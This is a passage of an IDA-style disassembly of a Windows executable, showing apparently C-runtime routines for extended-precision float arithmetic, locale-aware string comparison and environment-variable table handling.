loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------


loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax


loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51


loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D


loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8


loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3


loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031


loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]


loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1


loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D


loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]


loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------


loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_436760
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4368C0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi


loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi


loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_4CEDE4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4CF004
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4CD9E4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150


loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195


loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax


loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4CDCA0, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_4CDCA0, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------


loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_436EF4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25C06EBh
		test	eax, eax
		jz	loc_422453
		mov	dword_4CDCA0, 2


loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_4CDCA0
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C06EBh
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368


loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD


loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2


loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9


loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 288121Dh
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E


loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5


loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314


loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------


loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2


loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5


loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2640000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C0000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------


loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax


loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484


loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477


loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_4CD9DC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4CD9E0
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_4CD9DC, eax


loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_4CD9E4, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534


loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh


loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9DC, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_4CD9E4, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9E4, eax
		jz	short loc_4224F6
		mov	[eax], edi


loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4CD9DC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx


loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------


loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------


loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------


loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi


loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_4CD9DC, eax


loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25B01D9h
		push	esi
		call	sub_417C3B
		pop	ecx


loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]


loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664


loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B


loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		neg	eax


loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692


loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688


loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx


loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]


loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_4CEF01[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739


loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------


loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
